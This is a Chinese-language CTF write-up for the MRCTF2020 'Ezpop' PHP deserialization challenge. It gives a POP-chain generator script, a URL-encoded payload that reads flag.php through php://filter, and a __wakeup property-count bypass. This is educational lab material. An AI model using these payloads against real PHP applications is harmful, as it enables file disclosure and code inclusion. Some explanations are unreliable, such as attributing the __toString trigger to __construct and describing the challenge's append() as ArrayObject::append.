打开题目
网站源码为
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {protected $var;public function append($value){include($value);}public function __invoke(){$this->append($this->var);}
}class Show{public $source;public $str;public function __construct($file='index.php'){$this->source = $file;echo 'Welcome to '.$this->source."<br>";}public function __toString(){return $this->str->source;}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {echo "hacker";$this->source = "index.php";}}
}class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();}
}if(isset($_GET['pop'])){@unserialize($_GET['pop']);
}
else{$a=new Show;highlight_file(__FILE__);
}
代码审计一下,首先flag在flag.php下面
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
如果我们get方法传入一个pop函数,并且用isset函数检查变量是否被设置,是不是值为null,如果存在且不为null,则反序列化我们传入的pop参数
如果pop参数未被设置则将Show类的值赋值给a,highlight_file(__FILE__);
用于将当前文件的源代码输出到浏览器
那我们接下来看看Show的类
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php"
首先在这里我们定义了一个名为Show的类,将$source和$str设置为公有属性,将index.php赋值给$file,并定义方法。定义$source的来源为$file参数,然后输出。
-
$file='index.php'
这个语法意味着,如果构造函数没有收到参数,$file
将默认被设置为'index.php'
。这在构造实例时提供了一个默认值,如果实例化类时没有传递参数,就会使用这个默认文件名。 -
$this->source = $file;
将构造函数中接收到的文件名赋值给了类的$source
属性。这使得类的实例在创建时就有了一个文件路径的来源
用tostring方法返回其字符串类型,用wakeup方法,if语句,如果$source包含/gopher,http,file,ftp,https,dict,\.\./i等字眼,则输出hacker,若不包含,则返回源代码
构造payload:
首先在Modifier
类中,有文件包含说明我们要调用include函数,要调用include函数就要用到append函数,append函数需要invoke函数触发,__invoke()
调用的条件就是Modifier被调用为函数的时候
在这里,我们可以利用__get()方法,_get()中的p赋值为Modifier类,那么相当于Modifier类被当作函数处理,所以会调用Modifier类中的_invoke()方法。
我们用__toString() 返回Show类的属性str中的属性source,但是test中没有source属性 所以成功调用get方法
__toString()直接输出对象引用的时候,不产生报错。快速获取对象的字符串信息的便捷方式。
调用Show类的__toString()方法:就利用Show的__construct方法触发,把source赋值为Show类
所以,我们调用函数的顺序就是:
__construct->__toString()->__get()->__invoke()->append->文件包含
payload:
对我们的函数进行序列化
<?php
class Modifier {protected $var="php://filter/read=convert.base64-encode/resource=flag.php";}class Show{public $source;public $str;public function __construct(){$this->str = new Test();}
}
class Test{public $p;}$a = new Show();
$a->source = new Show();
$a->source->str->p = new Modifier();echo urlencode(serialize($a));?>
在phpstudy打开
get传参得到
/?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BN%3B%7D%7D
我们base64解密一下得到
知识点:
- _construct()方法
创建构造函数的语法格式如下:
public function __construct(参数列表){
... ...
}
其中,参数列表是可选的,不需要时可以省略。
构造函数就是当对象被创建时,类中被自动调用的第一个函数,并且一个类中只能存在一个构造函数。和普通函数类似构造函数也可以带有参数,如果构造函数有参数的话,那么在实例化也需要传入对应的参数,例如 new Students($name, $age)
。
- _toString()方法
__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。
- _invoke()方法
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
- append()函数
PHP中ArrayObject类的append()函数用于将给定值附加到ArrayObject上。附加的值可以是单个值,也可以是数组本身
_wakeup()方法漏洞
-
什么是_wakeup()方法?
__wakeup()
是 PHP 中一个特殊的魔术方法。它在反序列化一个对象时被自动调用,允许开发者在对象从序列化格式还原为可用的 PHP 对象之前对其进行某些特殊处理。这个方法可以接受任意的参数,但在实际使用中,它通常不需要参数
例:
class Example {
public $a = 1;
public $b = 2;public function __wakeup() {
$this->a *= 2;
$this->b *= 2;
}
}$serialized = serialize(new Example());
$unserialized = unserialize($serialized);
var_dump($unserialized);
在这个例子中,我们定义了一个名为 Example 的类,它具有两个公共属性 $a 和 $b。在 __wakeup() 方法中,我们将 $a 和 $b 的值各自乘以 2。然后我们序列化一个 Example 对象,并使用 unserialize() 函数将其还原为 PHP 对象。最后,我们使用 var_dump() 函数输出这个对象。运行这个脚本
object(Example)#2 (2) {
["a"]=>
int(2)
["b"]=>
int(4)
}
我们用 __wakeup()
方法成功地修改了 $a
和 $b
的值。
- wakeup()方法的绕过
__wakeup() 方法经常用于控制对象的反序列化过程,以避免攻击者能够在反序列化期间执行恶意代码。这是因为反序列化操作本质上是在将一个字符串转换为可执行的代码,因此如果反序列化的对象包含恶意代码,那么它可能会在反序列化过程中执行。然而,攻击者可以通过多种方式绕过这种保护机制。当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup() 函数的执行,是因为 PHP 在反序列化过程中,会忽略掉多出来的属性,而不会对这些属性进行处理和执行。
当 PHP 反序列化一个对象时,它首先读取对象的类名,并创建一个新的对象。然后,PHP 会读取对象的属性个数,并将每个属性的名称和值读入对象中。如果属性个数比实际属性个数多,则 PHP 会忽略这些多余的属性,直接将对象反序列化到一个不完整的状态。这将绕过 __wakeup() 函数的执行,因为 PHP 无法通过未知的属性来检查对象的完整性。
攻击者可以使用 O
类型的序列化字符串来创建一个新的对象,并在其中添加任意数量的属性。然后,攻击者可以修改序列化字符串中属性的数量,使其比实际属性数量多
- wakeup()方法绕过应用举例
当反序列化字符串中,表示属性个数的值⼤于真实属性个数时,会绕过 __wakeup 函数的执⾏。
标准序列化结果
O:4:"User":2:{s:8:"username";s:4:"Lxxx";s:8:"password";s:4:"lxxx";}
将2改为3 绕过__Wakeup魔法函数
O:4:"User":3:{s:8:"username";s:4:"Lxxx";s:8:"password";s:4:"lxxx";}
- 什么是pop链
从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者的目的
说白了,POP链
就是利用魔法方法在里面进行多次跳转然后获取敏感数据的一种payload
- 常见的魔术方法
__construct() //当对象创建时触发
__destruct() //当对象销毁时触发
__wakeup() //当使用unserialize时触发
__sleep() //当使用serialize时触发
__destruct() //当对象被销毁时触发
__call() //当对象上下文中调用不可访问的方法时触发
__get() //当访问不可访问或不存在的属性时触发
__set() //当设置不可访问或不存在属性时触发
__toString() //当把类当作字符串使用时触发
__invoke() //当对象调用为函数时触发
wp参考:[MRCTF2020]Ezpop 1——pop链的反序列化_反序列化[mrctf2020]ezpop1-CSDN博客
知识点源于:CTF必看~ PHP反序列化漏洞6:绝妙_wakeup绕过技巧_ctf php 反序列化漏洞_Eason_LYC的博客-CSDN博客
php反序列化漏洞之POP链构造 - 简书